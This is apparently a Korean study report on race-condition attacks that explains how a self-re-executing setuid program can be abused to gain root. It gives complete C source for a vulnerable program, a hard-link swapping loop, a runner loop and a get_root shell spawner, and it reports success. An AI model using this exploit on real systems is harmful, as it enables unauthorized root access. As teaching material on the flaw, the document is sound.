2. Content
1. What is Race Condition ? ·······································3
2. Race Condition Story1 ……………………………………3
3. Race Condition Story2 ……………………………………3
4. Race Condition Story3 ……………………………………4
5. Race Condition Story4 ……………………………………4
6. Race Condition Story5 ……………………………………4
7. Real Race Condition ···············································5-6
8. Result of Race Condition ………………………………6
- 2 -
3. 1. What is Race Condition
Race Condition
≫ 자원을 동시에 사용하려는 프로세스들이 자원 사용을 하기 위해 프로세
스들이 경쟁을 하는 것.
Race Condition Attack
≫ 프로세스들이 경쟁 하는 것을 이용하여 관리자 권한을 얻는 공격 방법.
2. Race Condition Story
Story 1
≫ root권한의 실행하면 자신이 존재하고 있는 위치를 얻어서 다시 한 번 실
행키는 프로그램 있다.
·
·
·
Story 2
≫ 만약 프로그램을 심볼릭링크 또는 하드링크를 이용하여 만들고 실행 했
을 때, 위치를 얻는 순간에 링크한 파일을 삭제하고 /bin/sh를 실행하는 프
로그램을 같은 이름으로 만든다면 root권한 상태에서 바뀐 파일을 실행하게
된다.
·
·
·
- 3 -
4. Story 3
≫ 앞에서 말한 자신의 위치를 얻어와 다시 실행하는 파일을 vuln 이라 하
고, setuid을 사용하기 위해 root권한을 필요로 하는 파일을 get_root이라 할
다. 그 다음, 무한히 vuln파일과 get_root파일을 race라는 파일로 링크로 반
복 시도하는 프로그램 race1과, race라는 파일을 무한히 실행하도록 하는 프
로그램 race2를 작성한다.(단 파일이 이미 존재하더라도 강제로 링크를 걸도
록 함)·
·
·
·
Story 4
≫ race1을 background로 실행하고 race2를 동시에 실행 하였을 때, 아래
순서 실행이 될 것이다.
1. vuln → race 실행
2. race 삭제 후 get_root -> race 링크 생성
3. vuln → race 프로그램은 다시 자기 자신을 실행
4. 바뀐 race를 실행
·
·
·
Story 5
≫ 결국 두 프로그램은 서로 경쟁하고 있다. 이러한 상태를 Race Condition
이라 한다!
- 4 -
5. 3. Real Race Condition
vuln.c
int readlink(const char *path, char *buf, size_t bufsize);
≫ readlink 는 원본파일의 완전한 경로를 가져온다.
int execve (const char *filename, char *const argv [], char *const envp[]);
≫ execve()는 파일명에 의해 지정된 프로그램을 실행한다.
#include <unistd.h>
int main(int argc, char **argv, char **envp)
{
char buf[4096];
if ( argc < 2 )
{
if (readlink("/proc/self/exe", buf, sizeof(buf)) < 0) return 1;
char *args[] = { buf, "1", 0 };
if (execve(args[0], args, 0) < 0) return 1;
}
return 0;
}
race1.c
#include <stdio.h>
#include <unistd.h>
int main(int agrc, char **argv){
while(1){
system("ln -f vuln race; ln -f get_root race ");
}
return 0;
}
race2.c
#include <unistd.h>
int main(int argc, char **argv){
while(1){
system("./race");
}
return 0;
- 5 -
6. }
get_root.c
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv){
if(geteuid() == 0 ) {
setuid(geteuid());
char *args[] = {"/bin/sh",0};
execve(args[0],args,0);
}else{
exit(1);
}
return 0;
}
4. Result of Race Condition
≫ 실제로 레이스컨디션을 적용시켜 root권한을 얻을 수 있었다!
이전의 레이스컨디션을 알고 있긴 했지만 시도를 해 본적이 오래 됐었는데
다시 기억할 수 있는 좋은 기회였고 전보다 더 확실히 알게 된 것 같다.
- 6 -